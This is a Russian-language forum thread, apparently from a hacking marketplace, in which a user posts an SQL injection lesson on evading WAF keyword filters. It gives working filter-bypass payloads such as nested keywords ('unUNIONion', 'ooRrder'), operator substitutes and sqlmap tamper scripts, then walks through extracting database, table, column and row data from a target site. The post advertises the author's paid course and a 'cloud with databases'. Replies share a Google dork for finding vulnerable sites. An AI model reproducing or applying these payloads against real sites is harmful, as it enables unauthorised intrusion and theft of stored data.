Загрузка...

SQL INJECTION от новичка до профессионала (Урок третий) waf bypass

Тема в разделе Веб уязвимости создана пользователем pentest 6 мар 2023. (поднята 20 авг 2023) 1876 просмотров

Загрузка...
  1. pentest
    pentest Автор темы 6 мар 2023 Заблокирован(а)
    Приветствую вас на своем третьем уроке по SQL INJECTION.В этом уроке я расскажу вам про WAF и способы его обойти.А перед этим небольшая рекламка:
    мой курс по sql inj - https://zelenka.guru/threads/5012873/
    мое облако с базами - https://zelenka.guru/threads/5029036/

    Для начало стоит понимать , что WAF это некое средство защиты для сайта , которое проверяет входящие запросы и фильтрует их.Также разработчик может поставить свои фильтры с помощью PHP кода и регулярных выражений.То есть в чем задача разработчика , он знает , что хакер использует такие ключевые выражения как:union,select,database,or,and И тому подобное.Проще всего показать суть задачи разраба в текстовом редакторе...
    [IMG]
    То есть заменяем эти слова на пустоту без учета регистра.
    [IMG]
    То есть получается вот такая "полезная" нагрузка , которая не сработает:podumai:
    Но представим , что разработчик кривой и забыл указать , что без учета регистра заменять.То есть вот так!
    [IMG]
    Тогда мы можем просто написать uNion Select Database , ВЕДЬ SQL язык регистронезавимый.Ну ладно , это не интересно.Давайте перейдем к случаю , если регистр отсутствует.
    Тогда мы можем обойти этот фильтр.То есть , что происходит удаляются слова , верно ? Значит мы можем по сути разбить одно ключевое слово на два и всунуть между ними полное слово.Тогда полное слово заменится на пустоту , произойдет конкатенация ( объединение) строк и запрос сработает.То есть например вот так:
    [IMG]
    И вот что будет:
    [IMG]
    То есть запрос сработает.Мы обошли фильтр:)
    Полезно знать также аналог дефолтного синтаксиса вашей СУБД ( у меня MySql) НАПРИМЕР
    or = ||
    and = %26%26
    -- - = ;0x00
    database = schema
    И если наш запрос не срабатывает , то просто меняем синтаксис нашего запроса:kidrun:
    Но что делать , если разраб просто запретит использовать пробелы.По сути мы можем использовать sqlmap tamper для обхода WAF , просто подобрав нужный с помощью софта atlas или любого другого , но они не совсем корректно показывают какие тамперы срабатывают , а какие нет.Поэтому нужно учиться самостоятельно.Аналоги пробелов:
    appendnullbyte.py

    Function: Space ==> %00
    bluecoat.py

    Function: Space ==> %09
    halfversionedmorekeywords.py

    Function: Space ==> /*!0
    space2comment.py

    Function: Space ==> /**/
    space2dash.py

    Function: Space==> -nVNaVoPYeva% 0A

    Platform:MSSQL、SQLite
    space2mssqlblank.py

    Function: Space ==> %23%0A
    Platform: Mssql、Mysql

    space2mysqlblank.py

    Function: Space ==> %2B, %0D, %0C
    Platform: Mysql5.1

    space2mysqldash.py

    Function: Space==> –%0A

    Platform: Mssql、Mysql

    Вообщем вариантом куча.

    Погнали к практике :pepego:
    [IMG]
    Допустим есть вот такой сайтик и уязвимость в GET параметре.Введем одинарную кавычку , чтобы убедиться в этом:)
    [IMG]
    Попробуем определить кол-во колонок и заодно обрамление , кто не знает , что такое обрамление читайте предыдущую мою статью.Вводим в уязвимый параметр
    SQL
    'order by 1,2,3,4,5,6,7,8 -- -
    можно больше цифр.
    [IMG]
    Что я могу сказать , что блокируется оператор or.Попробуем поменять регистр на Or.
    [IMG]
    Опять мимо.Значит делаем загрузку по-другому 'ooRrder by 1,2,3,4,5,6,7,8 -- -
    [IMG]

    Мы обошли фильтр , но полезная нагрузка не отработала , т.к обрамление подобрано неверно.Меняем запрос на
    SQL
    ') ooRrder by 1,2,3,4,5,6,7,8 -- -

    [IMG]
    Отлично.Что мы узнали?Во первых для всех последующих запросов обрамление будет ') И бд содержит одну колонку , а также блокируется оператор or.
    Теперь давайте определим название бд.Попробуем вот так:
    ') union select database() -- -
    [IMG]
    union тоже блочится.Меняем запрос
    SQL
    ') unUNIONion select database() -- -

    [IMG]
    Попробуем определить название таблиц.Как мы знаем union и or ЗАПРЕЩЕНЫ.Поэтому составляем вот такой запрос
    SQL
    ') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' -- -

    Если таблиц больше одной , то добавляем limit , Т.К одну таблицу мы получили , то вторую можем получить вот так
    SQL
    ') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' limit 1,1 -- -

    Теперь можно получить и название этой одной колонки...
    SQL
    ') unUNIONion select column_name from infoORrmation_schema.columns where table_name = 'oORrbuz' -- -

    [IMG]
    у нас есть название бд , таблицы , колонки.Теперь можно и забрать содержимое:)
    SQL
    ') unUNIONion select id from Grisha.oORrbuz  limit 0,1  -- -

    Что мы узнали для техники UNION:
    1)С помощью order by МЫ определяем кол-во колонок в запросе , которые будут использоваться , а в таблице их может быть хоть 100
    2)Кол-во колонок должно совпадать для UNION , если два , то два меньше или больше нельзя , будет ошибка
    3)UNION имеет непредсказуемый вывод и может меняться параметр где угодно
    [IMG]

    Если вам понравилась статья , то пишите отзывы буду рад прочитать:stonks_up:
    [IMG]
     
    6 мар 2023 Изменено
  2. galakt1k
    galakt1k 10 мар 2023 BUY NETFLIX lolz.live/threads/7571821 1126 18 мар 2021
    Я один не выкупил зачем оно нужно? Можно в крации пж)
     
    1. Посмотреть предыдущие комментарии (1)
    2. Shogun_
      алвейсванафлай, ох, я вижу тут все серьёзно, шифры, я наверное пойду, пока меня не арестовали
  3. Stasi
    Stasi 10 мар 2023 9817 12 дек 2017
    Имхо мертвая тема уже, на новых сайта нереально найти sql уязвимости, а старые сдамплены 500 раз. Плюс на новых сайтах стоит шифрование sha, которое только втупую ****ом расшифровывать, а этом слишком затратно по времени и может вообще не дать результата
     
    1. Andrey_Gay222
      Stasi, Что тогда сейчас актуально?
    2. Xstage
      Stasi, в топах хакервана висит скл ;/ так что не прям уж мертвая
  4. karpishuk
    karpishuk 12 янв 2024 0 11 июн 2018
    а представляете как хорошо жилось если бы было вот так inurl:id=1' intittle:error
     
Top